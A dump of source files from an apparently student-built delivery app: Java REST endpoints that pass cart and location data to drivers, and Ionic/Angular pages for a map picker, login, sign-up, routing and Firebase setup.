System.out.println("proper lst "+Lst.size()+" ");
}
cart2.setCart(Lst);
return cart2 .getCart();
//return 1;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------
// ========================================================== FOR WEBSITE ===============================================================
@Path("/sendCoordinatesToDriver")
@POST
@Produces(MediaType.APPLICATION_JSON)
public static List<JsonObject> sendCoordinatesToDriver(JsonObjects nouse) throws IOException{
System.out.println("****");
JsonObjects cart2 = new JsonObjects();
System.out.println("inside sendCoordinatesToDriver......");
List<JsonObject> Lst = new ArrayList();
System.out.println("fake lst"+Lst.size());
String path[] = opt.sendAdjtoReg();
for(int i=0;i<path.length - 1 ;i++)
{
System.out.println(" is it here "+path[i]);
}
System.out.println("======================");
System.out.println(cart1.getCart().size());
System.out.println("----"+cart1.getCart().get(0).placeName);
System.out.println(cart1.getCart().get(0).placeName);
System.out.println(cart1.getCart().get(0).placeName);
for(int i=0;i<path.length - 1;i++)
{
System.out.println("inside for loop");
int x = Integer.parseInt(path[i]);
System.out.println("x: "+x);
JsonObject obj = new JsonObject();
obj.menu = new ArrayList<MenuJson>();
System.out.println(" obj.placename "+cart1.getCart().get(x).placeName);
obj.placeName = cart1.getCart().get(x).placeName;
System.out.println("2 "+obj.placeName);
obj.placeLat = cart1.getCart().get(x).placeLat;
obj.placeLong = cart1.getCart().get(x).placeLong;
obj.placeLocation = cart1.getCart().get(x).placeLocation;
obj.cust_lat = latitude;
obj.cust_long = longitude;
obj.flag = "cart";
for(int j=0;j<cart1.getCart().get(x).menu.size();j++)
{
MenuJson mj = new MenuJson();
mj.productName = cart1.getCart().get(x).menu.get(j).productName;
mj.quantity = cart1.getCart().get(x).menu.get(j).quantity;
mj.productPrice = cart1.getCart().get(x).menu.get(j).productPrice;
obj.menu.add(mj);
}
Lst.add(obj);
System.out.println("proper lst "+Lst.size()+" ");
}
cart2.setCart(Lst);
return cart2 .getCart();
}
//
// ----------------------------------------------------------------------------------------------------------------------------------------
// ========================================================== SAME FOR MOBILE & WEB ===============================================================
@Path("/sendForgotten")
@POST
@Produces(MediaType.APPLICATION_JSON)
public static List<Forgotten> sendForgotten() throws IOException{
System.out.println("inside send to driver forgotten ");
return pro.getProduct();
}
//------------------------------------------------------------------------------------------------------------------------------------------
public static List<JsonObject> cartToOptimizedPath() throws IOException{
System.out.println("inside cart ");
return cart1.getCart();
}
// ================================================= SAME FOR MOBILE & WEB (SEND FLAG) ============================================================
@Path("/sendflag")
@GET
@Produces(MediaType.TEXT_PLAIN)
public static int sendFlag(String tp) throws IOException{
System.out.println("inside send flag (cart/forgotten) to driver "+tp);
if(cartflag == true)
{
System.out.println("cart flag: "+cartflag);
//cartflag = false;
System.out.println("cart flag after: "+cartflag);
return 1;
}
else if(forgotflag == true)
{
forgotflag = false;
return 0;
}
else
{
return 99;
}
}
// ---------------------------------------------------------------------------------------------------------------------------------------
// ================================================ FOR MOBILE SEND EVERY DETAILS ===============================================================
@Path("/sendCompleteDetails")
@GET
@Produces(MediaType.APPLICATION_JSON)
public static List<sendDetailsToDriver> senDetails() throws IOException{
System.out.println("inside send every detail to driver----- ");
return sd.getDetails();
}
// ---------------------------------------------------------------------------------------------------------------------------------------
// ------------------------------------------ Cart Arranged According to Location For Driver ------------------------------------------
public static void cartArranged(String path[])
{
System.out.println("in cart arranged");
List<sendDetailsToDriver> toDriver = new ArrayList();
int num = dr.index;
System.out.println("index returned: "+num);
int[] x = new int[path.length - 1];
for(int i=0;i<path.length - 1 ;i++)
{
System.out.println(" is it here string path[] "+path[i]);
x[i] = Integer.parseInt(path[i]);
System.out.println(" int x: "+x[i]);
}
System.out.print("======================");
System.out.println(cart1.getCart().size());
for(int i=0;i<path.length - 1;i++)
{
System.out.println("inside for loop "+x[i]);
// for details to driver
sendDetailsToDriver temp = new sendDetailsToDriver();
if(x[i] == 0)
{
temp.menu = new ArrayList<MenuJson>();
temp.placeName = cart1.getCart().get(num).placeName;
System.out.println("name of place: "+temp.placeName);
temp.placeLat = cart1.getCart().get(num).placeLat;
temp.placeLong = cart1.getCart().get(num).placeLong;
temp.placeLocation = cart1.getCart().get(num).placeLocation;
temp.cust_lat = latitude;
temp.cust_long = longitude;
temp.flag = "cart";
for(int j=0;j<cart1.getCart().get(num).menu.size();j++)
{
MenuJson mj = new MenuJson();
mj.productName = cart1.getCart().get(num).menu.get(j).productName;
mj.quantity = cart1.getCart().get(num).menu.get(j).quantity;
mj.productPrice = cart1.getCart().get(num).menu.get(j).productPrice;
temp.menu.add(mj);
}
toDriver.add(temp);
}
else if(x[i] == num)
{
temp.menu = new ArrayList<MenuJson>();
temp.placeName = cart1.getCart().get(0).placeName;
System.out.println("name of place: "+temp.placeName);
temp.placeLat = cart1.getCart().get(0).placeLat;
temp.placeLong = cart1.getCart().get(0).placeLong;
temp.placeLocation = cart1.getCart().get(0).placeLocation;
temp.cust_lat = latitude;
temp.cust_long = longitude;
temp.flag = "cart";
for(int j=0;j<cart1.getCart().get(0).menu.size();j++)
{
MenuJson mj = new MenuJson();
mj.productName = cart1.getCart().get(0).menu.get(j).productName;
mj.quantity = cart1.getCart().get(0).menu.get(j).quantity;
mj.productPrice = cart1.getCart().get(0).menu.get(j).productPrice;
temp.menu.add(mj);
}
toDriver.add(temp);
}
else
{
temp.menu = new ArrayList<MenuJson>();
temp.placeName = cart1.getCart().get(x[i]).placeName;
System.out.println("name of place: "+temp.placeName);
temp.placeLat = cart1.getCart().get(x[i]).placeLat;
temp.placeLong = cart1.getCart().get(x[i]).placeLong;
temp.placeLocation = cart1.getCart().get(x[i]).placeLocation;
temp.cust_lat = latitude;
temp.cust_long = longitude;
temp.flag = "cart";
for(int j=0;j<cart1.getCart().get(x[i]).menu.size();j++)
{
MenuJson mj = new MenuJson();
mj.productName = cart1.getCart().get(x[i]).menu.get(j).productName;
mj.quantity = cart1.getCart().get(x[i]).menu.get(j).quantity;
mj.productPrice = cart1.getCart().get(x[i]).menu.get(j).productPrice;
temp.menu.add(mj);
}
toDriver.add(temp);
}
}
sd.setDetails(toDriver);
// ------------------- sd is set with value----------------------------------------------------------------------------------
}
}
<file_sep>/instapp-consumer/src/pages/get-location-map/get-location-map.ts
import { Component } from '@angular/core';
import { IonicPage, ViewController, NavParams } from 'ionic-angular';
import { Geolocation } from '@ionic-native/geolocation';
declare var google;
@IonicPage()
@Component({
selector: 'page-get-location-map',
templateUrl: 'get-location-map.html',
})
export class GetLocationMapPage {
input:any;
locationName = '';
origin =
{
lat: 0,
lng: 0
}
constructor(private view : ViewController,public navParams: NavParams,private geolocation : Geolocation) {
}
async ionViewDidLoad() {
//new google.maps.places.Autocomplete(input, options);
await this.geolocation.getCurrentPosition().then((resp) => {
this.origin.lat = resp.coords.latitude;
this.origin.lng = resp.coords.longitude;
let latLng = new google.maps.LatLng(resp.coords.latitude,
resp.coords.longitude);
// let mapOptions = {
// center: latLng,
// zoom: 15,
// mapTypeId: google.maps.MapTypeId.ROADMAP
// }
}).catch((error) => {
console.log('Error getting location', error);
});
var map = new google.maps.Map(document.getElementById('map'), {
center: {lat: this.origin.lat, lng: this.origin.lng},
zoom: 13,
mapTypeId: 'roadmap'
});
var markers = [];
markers.push( new google.maps.Marker({
map: map,
animation: google.maps.Animation.DROP,
position: map.getCenter()
}));
var input = document.getElementById('pac-input');
var searchBox = new google.maps.places.SearchBox(input);
console.log(input);
// map.controls[google.maps.ControlPosition.TOP_LEFT].push(input);
// Bias the SearchBox results towards current map's viewport.
map.addListener('bounds_changed', function() {
searchBox.setBounds(map.getBounds());
});
console.log(searchBox);
// Listen for the event fired when the user selects a prediction and retrieve
// more details for that place.
searchBox.addListener('places_changed', function() {
var places = searchBox.getPlaces();
if (places.length == 0) {
return;
}
// Clear out the old markers.
markers.forEach(function(marker) {
marker.setMap(null);
});
markers = [];
// For each place, get the icon, name and location.
var bounds = new google.maps.LatLngBounds();
places.forEach(function(place) {
if (!place.geometry) {
console.log("Returned place contains no geometry");
return;
}
markers.push(new google.maps.Marker({
map: map,
//icon: icon,
title: place.name,
position: place.geometry.location
}));
var latitude = place.geometry.location.lat();
var longitude = place.geometry.location.lng();
console.log(latitude,longitude);
// console.log("klat"+place.name);
document.getElementById('outputValue').innerHTML = place.name;
document.getElementById('outputValuesrc').innerHTML = latitude;
document.getElementById('outputValuedest').innerHTML = longitude;
if (place.geometry.viewport) {
// Only geocodes have viewport.
bounds.union(place.geometry.viewport);
} else {
bounds.extend(place.geometry.location);
}
});
map.fitBounds(bounds);
});
}
closeModel()
{
const data =
{
name : document.getElementById('outputValue').innerHTML,
lat : document.getElementById('outputValuesrc').innerHTML,
long : document.getElementById('outputValuedest').innerHTML
};
this.view.dismiss(data);
}
}
<file_sep>/instapp-consumer/src/pages/login/login.ts
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { TabsPage } from './../tabs/tabs';
import {RegisterPage} from '../register/register';
import {SignUpPage} from '../sign-up/sign-up';
//import { Facebook, FacebookLoginResponse } from '@ionic-native/facebook';
import { HttpClient,HttpHeaders } from '@angular/common/http';
import { HTTP } from '@ionic-native/http';
import { Observable } from 'rxjs/Observable';
import { VariableAst, identifierModuleUrl } from '@angular/compiler';
import { ToastController } from 'ionic-angular';
import { Geolocation } from '@ionic-native/geolocation';
@IonicPage()
@Component({
selector: 'page-login',
templateUrl: 'login.html',
})
export class LoginPage {
user = {
username :'',
password : '',
Latitude : '',
Longitude: ''
};
status = false;
result: any;
userdata:string;
data : Observable<any>;
id :any = 101;
Latitude : number;
Longitude : number;
constructor(public navCtrl: NavController,
private http: HttpClient,public toastCtrl: ToastController,private geolocation : Geolocation,private httpMobile: HTTP) {
this.geolocation.getCurrentPosition().then((resp) => {
this.user.Latitude = resp.coords.latitude.toString();
this.user.Longitude = resp.coords.longitude.toString();
}).catch((error) => {
console.log('Error getting location', error);
});;
}
Navigate()
{
this.navCtrl.push(SignUpPage)
}
presentToast() {
const toast = this.toastCtrl.create({
message: 'Logged in successfully',
duration: 3000
});
toast.present();
}
// after login button is clicked using get method
getMethod()
{
// ******************* For Mobile **************************************
//this.navCtrl.push(TabsPage);
// console.log("insid get method");
// console.log(this.user.Latitude, this.user.Longitude);
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/login";
// // this.geolocation.getCurrentPosition().then((resp) => {
// // this.user.Latitude = resp.coords.latitude.toString();
// // this.user.Longitude = resp.coords.longitude.toString();
// this.httpMobile.get(url,{
// username : this.user.username,
// password : <PASSWORD>,
// Latitude : this.user.Latitude,
// Longitude : this.user.Longitude
// }, {'Content-Type': 'application/json'}
// ).then(data1 => {
// if(data1.data == 1 )
// {
// this.presentToast();
// this.navCtrl.push(TabsPage);
// }
// else if(data1.data == 99){
// this.status = true;
// console.log("error while logging");
// }
// })
// .catch(error => {
// console.log(error.status);
// console.log(error.error); // error message as string
// console.log(error.headers);
// });
// ************uncomment for website view working properly
console.log("insid get method");
this.navCtrl.push(TabsPage);
// this.geolocation.getCurrentPosition().then((resp) => {
// this.Latitude = resp.coords.latitude;
// this.Longitude = resp.coords.longitude;
// console.log(this.Latitude+" "+this.Longitude);
// var url = "http://192.168.0.108:8098/Instant_Help/rest/hello/login";
// url = url+"?username="+this.user.username+"&password="+<PASSWORD>+"&Latitude="+this.Latitude+"&Longitude="+this.Longitude;
// console.log(url);
// this.http.get(url).subscribe(data=>{
// this.result = data;
// console.log(this.result);
// if(this.result == 1 )
// {
// this.presentToast();
// this.navCtrl.push(TabsPage);
// }
// else if(this.result == 99){
// this.status = true;
// console.log("error while logging");
// }
// });
// }).catch((error) => {
// console.log('Error getting location', error);
// });
}
}
<file_sep>/instapp-consumer/src/pages/add-data-firebase/add-data-firebase.module.ts
import { NgModule } from '@angular/core';
import { IonicPageModule } from 'ionic-angular';
import { AddDataFirebasePage } from './add-data-firebase';
@NgModule({
declarations: [
AddDataFirebasePage,
],
imports: [
IonicPageModule.forChild(AddDataFirebasePage),
],
})
export class AddDataFirebasePageModule {}
<file_sep>/insetlp-provider/src/app/environment.ts
export const FIREBASE_CONFIG = {
apiKey: "<KEY>",
authDomain: "driver1-87fb5.firebaseapp.com",
databaseURL: "https://driver1-87fb5.firebaseio.com",
projectId: "driver1-87fb5",
storageBucket: "",
messagingSenderId: "1087133831423"
};
export const snapshotToArray = snapshot=>{
let returnArray = [];
snapshot.forEach(element =>{
let item = element.val();
item.key = element.key;
returnArray.push(item);
});
return returnArray;
}<file_sep>/instapp-consumer/src/app/environment.ts
export const FIREBASE_CONFIG = {
apiKey: "<KEY>",
authDomain: "fir-ionic-a0119.firebaseapp.com",
databaseURL: "https://fir-ionic-a0119.firebaseio.com",
projectId: "fir-ionic-a0119",
storageBucket: "",
messagingSenderId: "989431211159"
};
export const snapshotToArray = snapshot=>{
let returnArray = [];
snapshot.forEach(element =>{
// correct let item = element.val();
// item.key = element.key;
let item = {key: element.key,value: element.val()}
returnArray.push(item);
});
return returnArray;
}<file_sep>/insetlp-provider/src/pages/forgotten-route/forgotten-route.module.ts
import { NgModule } from '@angular/core';
import { IonicPageModule } from 'ionic-angular';
import { ForgottenRoutePage } from './forgotten-route';
@NgModule({
declarations: [
ForgottenRoutePage,
],
imports: [
IonicPageModule.forChild(ForgottenRoutePage),
],
})
export class ForgottenRoutePageModule {}
<file_sep>/insetlp-provider/src/pages/forgotten-route/forgotten-route.ts
// import { Component,ViewChild, ElementRef } from '@angular/core';
// import { IonicPage, NavController, NavParams } from 'ionic-angular';
// import { DisplayInfoProvider } from '../../providers/display-info/display-info';
// import { Geolocation } from '@ionic-native/geolocation';
// import 'rxjs/add/operator/map';
// import { map } from 'rxjs/operator/map';
// import { AcceptRequestPage } from '../accept-request/accept-request';
// declare var google;
// /**
// * Generated class for the ForgottenRoutePage page.
// *
// * See https://ionicframework.com/docs/components/#navigation for more info on
// * Ionic pages and navigation.
// */
// @IonicPage()
// @Component({
// selector: 'page-forgotten-route',
// templateUrl: 'forgotten-route.html',
// })
// export class ForgottenRoutePage {
// @ViewChild('map') mapElement: ElementRef;
// map: any;
// infowindow = new google.maps.InfoWindow;
// urlString;
// accept_terms ;
// lat;
// long;
// next= "Next";
// clat :any=[];
// clong :any=[];
// k=1;
// i=0;
// nav = "Navigate to source";
// visible = false;
// text = "Go to Source";
// product : boolean=false;
// hello : boolean=true;
// pickup : boolean=true;
// cnt=0;
// reference:any;
// constructor(public navCtrl: NavController, public navParams: NavParams,private g: DisplayInfoProvider,public geolocation: Geolocation) {
// console.log(this.g.cart);
// this.clat[1] = this.g.cart[0][0].srcLat;
// this.clong[1] = this.g.cart[0][0].srcLong;
// console.log(" lats: "+this.clat[0]+" longs: "+this.clong[1]);
// this.clat[2] = this.g.cart[0][0].destLat;
// this.clong[2] = this.g.cart[0][0].destLong;
// for(this.k = 0;this.k<3;this.k++)
// {
// console.log(" "+this.clat[this.k]+" "+this.clong[this.k]);
// }
// }
// navigation()
// {
// this.cnt++;
// this.product = true;
// this.hello = false;
// if(this.cnt == 1)
// this.hello = false;
// if(this.cnt == 2)
// this.pickup = false;
// let directionsService = new google.maps.DirectionsService;
// let directionsDisplay = new google.maps.DirectionsRenderer;
// directionsDisplay.setMap(this.map);
// this.reference = this.g.cart[0][0];
// directionsService.route({
// origin: {lat: parseFloat(this.clat[this.i]), lng: parseFloat(this.clong[this.i]) },
// destination: {lat: parseFloat(this.clat[this.i + 1]), lng: parseFloat(this.clong[this.i + 1]) },
// travelMode: google.maps.TravelMode['DRIVING']
// },
// (res, status) => {
// if(status == google.maps.DirectionsStatus.OK)
// {
// directionsDisplay.setDirections(res);
// }
// else
// {
// console.warn(status);
// }
// });
// this.ShowDirections(this.clat[this.i],this.clong[this.i],this.clat[this.i+1],this.clong[this.i+1]);
// this.i++;
// if(this.i == 1)
// {
// this.next = "Go to Source";
// }
// if(this.i == 2)
// {
// this.next = "Go to Destination";
// this.nav = "Navigate to destination";
// }
// if(this.i == 3)
// {
// console.log("thank you");
// this.next = "thankyou";
// this.navCtrl.push(AcceptRequestPage);
// }
// }
// //============================================= Map Display =====================================
// ionViewDidLoad() {
// this.loadMap();
// }
// loadMap(){
// this.geolocation.getCurrentPosition().then((position)=>{
// let latLng = new google.maps.LatLng(position.coords.latitude,
// position.coords.longitude);
// this.lat = position.coords.latitude;
// this.long = position.coords.longitude;
// this.clat[0] = this.lat;
// this.clong[0] = this.long;
// console.log(this.clat[1]+" "+this.long);
// //console.log(latLng)
// let mapOptions = {
// center: latLng,
// zoom: 15,
// mapTypeId: google.maps.MapTypeId.ROADMAP
// }
// this.map = new google.maps.Map(this.mapElement.nativeElement,
// mapOptions);
// this.addMarker();
// }, (err) => {
// console.log(err);
// });
// }
// addMarker(){
// let marker = new google.maps.Marker({
// map: this.map,
// animation: google.maps.Animation.DROP,
// position: this.map.getCenter()
// });
// let content = "<h4>Information!</h4>";
// this.addInfoWindow(marker, content);
// }
// addInfoWindow(marker, content){
// let infoWindow = new google.maps.InfoWindow({
// content: content
// });
// google.maps.event.addListener(marker, 'click', () => {
// infoWindow.open(this.map, marker);
// });
// }
// ShowDirections(first1,first2,second1,second2)
// {
// this.urlString = "https://www.google.com/maps/dir/?api=1&origin="+first1+","+first2+"&destination="
// +second1+","+second2;
// console.log(this.urlString);
// }
// }
//**************************************************************************************************** */
import { Component,ViewChild, ElementRef } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { DisplayInfoProvider } from '../../providers/display-info/display-info';
import { Geolocation } from '@ionic-native/geolocation';
import 'rxjs/add/operator/map';
import { map } from 'rxjs/operator/map';
import { AcceptRequestPage } from '../accept-request/accept-request';
declare var google;
/**
* Generated class for the ForgottenRoutePage page.
*
* See https://ionicframework.com/docs/components/#navigation for more info on
* Ionic pages and navigation.
*/
@IonicPage()
@Component({
selector: 'page-forgotten-route',
templateUrl: 'forgotten-route.html',
})
export class ForgottenRoutePage {
@ViewChild('map') mapElement: ElementRef;
map: any;
infowindow = new google.maps.InfoWindow;
urlString;
accept_terms ;
lat;
long;
next= "Next";
clat :any=[];
clong :any=[];
val:any=[];
time = 0;
cost = 0;
k=1;
i=0;
nav = "Navigate to source";
visible = false;
text = "Go to Source";
product : boolean=false;
hello : boolean=true;
pickup : boolean=true;
size:any;
cnt=0;
reference:any;
origin1 = {lat:0.0,lng:0.0} ;
destination1 = {lat:0.0,lng:0.0} ;
constructor(public navCtrl: NavController, public navParams: NavParams,private g: DisplayInfoProvider,public geolocation: Geolocation) {
console.log(this.g.cart);
this.clat[1] = this.g.cart[0][0].srcLat;
this.clong[1] = this.g.cart[0][0].srcLong;
this.size = this.g.cart[0][0].srcLat;
console.log(" lats: "+this.clat[0]+" longs: "+this.clong[1]);
this.clat[2] = this.g.cart[0][0].destLat;
this.clong[2] = this.g.cart[0][0].destLong;
for(this.k = 0;this.k<3;this.k++)
{
console.log(" "+this.clat[this.k]+" "+this.clong[this.k]);
}
this.origin1 = {lat: parseFloat(this.clat[1]), lng:parseFloat(this.clong[1])};
this.destination1 = {lat: parseFloat(this.clat[2]), lng:parseFloat(this.clong[2])};
var geocoder = new google.maps.Geocoder;
var service = new google.maps.DistanceMatrixService;
service.getDistanceMatrix({
origins: [this.origin1],
destinations: [this.destination1],
travelMode: 'DRIVING',
unitSystem: google.maps.UnitSystem.METRIC,
avoidHighways: false,
avoidTolls: false
}, function(response, status) {
if (status !== 'OK') {
alert('Error was: ' + status);
} else {
var originList = response.originAddresses;
var destinationList = response.destinationAddresses;
for (var i = 0; i < originList.length; i++) {
var results = response.rows[i].elements;
let sourceToAllDestination = '';
for (var j = 0; j < results.length; j++) {
sourceToAllDestination = sourceToAllDestination + results[j].duration.text +",";
console.log(results);
}
console.log(sourceToAllDestination);
this.val = sourceToAllDestination.split(' ');
console.log(this.val[0]);
this.time = Number(this.val[0]);
this.time = this.time / 2;
console.log(this.time);
this.cost = this.time * 5;
console.log(this.size);
if(this.size == "small")
{
this.cost = this.cost + 10;
}
// else if(this.g.cart[0][0].sizeOfProduct == "medium")
// {
// this.cost = this.cost + 20;
// }
// else
// {
// this.cost = this.cost + 30;
// }
}
document.getElementById('srcToAllDest').innerHTML = this.cost;
}
});
}
navigation()
{
this.cnt++;
this.product = true;
this.hello = false;
if(this.cnt == 1)
this.hello = false;
if(this.cnt == 2)
this.pickup = false;
let directionsService = new google.maps.DirectionsService;
let directionsDisplay = new google.maps.DirectionsRenderer;
directionsDisplay.setMap(this.map);
this.reference = this.g.cart[0][0];
directionsService.route({
origin: {lat: parseFloat(this.clat[this.i]), lng: parseFloat(this.clong[this.i]) },
destination: {lat: parseFloat(this.clat[this.i + 1]), lng: parseFloat(this.clong[this.i + 1]) },
travelMode: google.maps.TravelMode['DRIVING']
},
(res, status) => {
if(status == google.maps.DirectionsStatus.OK)
{
directionsDisplay.setDirections(res);
}
else
{
console.warn(status);
}
});
this.ShowDirections(this.clat[this.i],this.clong[this.i],this.clat[this.i+1],this.clong[this.i+1]);
this.i++;
if(this.i == 1)
{
this.next = "Go to Source";
}
if(this.i == 2)
{
this.next = "Go to Destination";
this.nav = "Navigate to destination";
}
if(this.i == 3)
{
console.log("thank you");
this.next = "thankyou";
this.navCtrl.push(AcceptRequestPage);
}
}
//============================================= Map Display =====================================
ionViewDidLoad() {
this.loadMap();
}
loadMap(){
this.geolocation.getCurrentPosition().then((position)=>{
let latLng = new google.maps.LatLng(position.coords.latitude,
position.coords.longitude);
this.lat = position.coords.latitude;
this.long = position.coords.longitude;
this.clat[0] = this.lat;
this.clong[0] = this.long;
console.log(this.clat[1]+" "+this.long);
//console.log(latLng)
let mapOptions = {
center: latLng,
zoom: 15,
mapTypeId: google.maps.MapTypeId.ROADMAP
}
this.map = new google.maps.Map(this.mapElement.nativeElement,
mapOptions);
this.addMarker();
}, (err) => {
console.log(err);
});
}
addMarker(){
let marker = new google.maps.Marker({
map: this.map,
animation: google.maps.Animation.DROP,
position: this.map.getCenter()
});
let content = "<h4>Information!</h4>";
this.addInfoWindow(marker, content);
}
addInfoWindow(marker, content){
let infoWindow = new google.maps.InfoWindow({
content: content
});
google.maps.event.addListener(marker, 'click', () => {
infoWindow.open(this.map, marker);
});
}
ShowDirections(first1,first2,second1,second2)
{
this.urlString = "https://www.google.com/maps/dir/?api=1&origin="+first1+","+first2+"&destination="
+second1+","+second2;
console.log(this.urlString);
}
}
<file_sep>/instapp-consumer/src/app/app.module.ts
import { Device } from '@ionic-native/device';
import { SignUpPage } from './../pages/sign-up/sign-up';
import { LiveTrackPage } from './../pages/live-track/live-track';
import { HTTP } from '@ionic-native/http';
import { CartDetailsPage } from './../pages/cart-details/cart-details';
import { GetLocationMapPage } from './../pages/get-location-map/get-location-map';
import { ForgottenPage } from './../pages/forgotten/forgotten';
import { CartPage } from './../pages/cart/cart';
import { AddDataFirebasePage } from './../pages/add-data-firebase/add-data-firebase';
import { DisplayCategoryPage } from './../pages/display-category/display-category';
import { LoginPage } from './../pages/login/login';
import { NgModule, ErrorHandler } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import { IonicApp, IonicModule, IonicErrorHandler } from 'ionic-angular';
import { MyApp } from './app.component';
import { AboutPage } from '../pages/about/about';
import { ContactPage } from '../pages/contact/contact';
import { HomePage } from '../pages/home/home';
import { TabsPage } from '../pages/tabs/tabs';
import { StatusBar } from '@ionic-native/status-bar';
import { SplashScreen } from '@ionic-native/splash-screen';
import { RegisterPage } from '../pages/register/register';
import {HttpClientModule} from '@angular/common/http';
import { Camera } from '@ionic-native/camera';
import {BrowserAnimationsModule} from '@angular/platform-browser/animations'
import {MatButtonModule, MatFormFieldModule,MatInputModule} from '@angular/material'
import {MatGridListModule} from '@angular/material/grid-list'
import {MatCardModule} from '@angular/material/card'
import {MatExpansionModule} from '@angular/material/expansion';
import {MatListModule} from '@angular/material/list';
import { DisplayDetailedDataPage } from '../pages/display-detailed-data/display-detailed-data';
import { GlobalCartProvider } from '../providers/global-cart/global-cart';
import {Geolocation} from '@ionic-native/geolocation';
import { StarRatingModule } from 'ionic3-star-rating';
@NgModule({
declarations: [
MyApp,
AboutPage,
ContactPage,
HomePage,
TabsPage,
LoginPage,
RegisterPage,
DisplayCategoryPage,
AddDataFirebasePage,
CartPage,
CartDetailsPage,
DisplayDetailedDataPage,
ForgottenPage,
LiveTrackPage,
SignUpPage
],
imports: [
BrowserModule,
HttpClientModule,
BrowserAnimationsModule,
MatButtonModule,
MatGridListModule,
MatExpansionModule,
MatFormFieldModule,
MatCardModule,
MatListModule,
MatInputModule,
StarRatingModule,
IonicModule.forRoot(MyApp)
],
bootstrap: [IonicApp],
entryComponents: [
MyApp,
AboutPage,
ContactPage,
HomePage,
TabsPage,
LoginPage,
RegisterPage,
DisplayCategoryPage,
AddDataFirebasePage,
CartPage,
CartDetailsPage,
ForgottenPage,
DisplayDetailedDataPage,
LiveTrackPage,
SignUpPage
],
providers: [
StatusBar,
SplashScreen,
Camera,
HTTP,
Geolocation,
{provide: ErrorHandler, useClass: IonicErrorHandler},
GlobalCartProvider,
Device
]
})
export class AppModule {}
<file_sep>/instelp-admin/src/Test/First.java
package Test;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletResponse;
import javax.ws.rs.ApplicationPath;
import javax.ws.rs.Consumes;
import javax.ws.rs.FormParam;
import javax.ws.rs.core.Application;
import javax.ws.rs.core.Context;
import javax.ws.rs.GET;
import javax.ws.rs.HeaderParam;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.PathParam;
import javax.ws.rs.Produces;
import javax.ws.rs.QueryParam;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.Response.ResponseBuilder;
import jdk.nashorn.internal.parser.JSONParser;
@Path("/hello1")
public class First {
getSetRegister g = new getSetRegister();
@GET
@Produces(MediaType.APPLICATION_JSON)
public Map<String,String> sayHello(@QueryParam("id") int id)
{
System.out.println("received is: "+ id);
//g.setEmai);
System.out.println(g.getEmail()+" "+g.getName());
//JSONParser parse = new JSONParser();
//JSONObject jobj = (JSONObject)parse.parse(inline);
HashMap<String,String> map = new HashMap<>();
map.put("usernumber", Integer.toString(id));
// map.put("password", <PASSWORD>);
// map.put("emailid", email);
//return g;
return map;
//return Response.ok().entity(toJson(g)).build();
//return Response.status(Response.Status.OK)
// .entity("returning username: " + username + " email and password " + email+" "+password)
// .build();
}
//,"application/json"
// @POST
// @Produces(MediaType.APPLICATION_JSON)
// @Consumes("application/json")
// public String createUser(@QueryParam("id") String id) throws IOException{
// System.out.println("id: "+id);
// return id;
//
//
//}
// @POST
// @Produces(MediaType.APPLICATION_JSON)
// @Consumes("application/json")
// public Map<String,String> sayHelloPost(@QueryParam("username") String username,@QueryParam("password") String <PASSWORD>,@QueryParam("emailid") String email)
// {
// System.out.println("received is: "+ username);
// g.setEmail(email);
// g.setName(username);
// g.setPassword(<PASSWORD>);
//
// System.out.println(g.getEmail()+" "+g.getName());
//
// //JSONParser parse = new JSONParser();
//
// //JSONObject jobj = (JSONObject)parse.parse(inline);
//
// HashMap<String,String> map = new HashMap<>();
// map.put("username", username);
// map.put("password", <PASSWORD>);
// map.put("emailid", email);
//
//
// //return g;
// return map;
//
//
//}
}
<file_sep>/instapp-consumer/src/pages/display-category/display-category.ts
import { MatCardModule } from '@angular/material';
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import * as firebase from 'firebase';
import { snapshotToArray } from './../../app/environment';
@IonicPage()
@Component({
selector: 'page-display-category',
templateUrl: 'display-category.html',
})
export class DisplayCategoryPage {
category:string;
items = [];
// menu = [];
ref;
val1 : string;
val2 : string;
constructor(public navCtrl: NavController, public navParams: NavParams) {
this.category = this.navParams.get('category');
this.ref = firebase.database().ref(this.category+'/');
console.log(this.category);
this.ref.on('value',resp =>{
this.items = snapshotToArray(resp);
console.log("key"+this.items[0].key);
// this.ref.child('/Menu/').on('value',resp =>{
// this.menu = snapshotToArray(resp);
// console.log(this.menu);
// });
//console.log(this.items);
});
// this.ref.child('/Menu/').on('value',resp =>{
// this.menu = snapshotToArray(resp);
// console.log(this.menu);
// });
// it should return the recipient and sender under the 'secondId'
}
addTocart(item)
{
console.log(item);
}
}
<file_sep>/instapp-consumer/src/pages/sign-up/sign-up.ts
import { HTTP } from '@ionic-native/http';
import { LoginPage } from './../login/login';
import { Component } from '@angular/core';
import { NavController, NavParams,IonicPage } from 'ionic-angular';
import {FormControl, Validators} from '@angular/forms';
import { HttpClient} from '@angular/common/http';
@Component({
selector: 'page-sign-up',
templateUrl: 'sign-up.html',
})
export class SignUpPage {
user ={
username:'',
password: '',
emailid: '',
ConfirmPassword:'',
contactNo: ''
}
passwordType: string = '<PASSWORD>';
passwordIcon: string = 'eye-off';
result: any=[];
emailFormControl = new FormControl('', [
Validators.required,
Validators.email,
]);
constructor(public navCtrl: NavController, public navParams: NavParams,private http : HttpClient,
private httpMobile:HTTP) {
}
ionViewDidLoad() {
console.log('ionViewDidLoad SignUpPage');
}
hideShowPassword() {
this.passwordType = this.passwordType === 'text' ? '<PASSWORD>' : '<PASSWORD>';
this.passwordIcon = this.passwordIcon === '<PASSWORD>' ? 'eye' : '<PASSWORD>';
}
RegisterForm()
{
console.log(this.user);
// ************************************ For Mobile **************************************
// if(this.user.password==this.user.ConfirmPassword)
// {
// console.log("insid get method");
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/register";
// this.httpMobile.get(url,{
// username : this.user.username,
// password : <PASSWORD>,
// emailid : this.user.emailid,
// //contactNo : this.user.contactNo
// }, {'Content-Type': 'application/json'}
// ).then(data1 => {
// this.navCtrl.push(LoginPage);
// })
// .catch(error => {
// console.log(error.status);
// console.log(error.error); // error message as string
// console.log(error.headers);
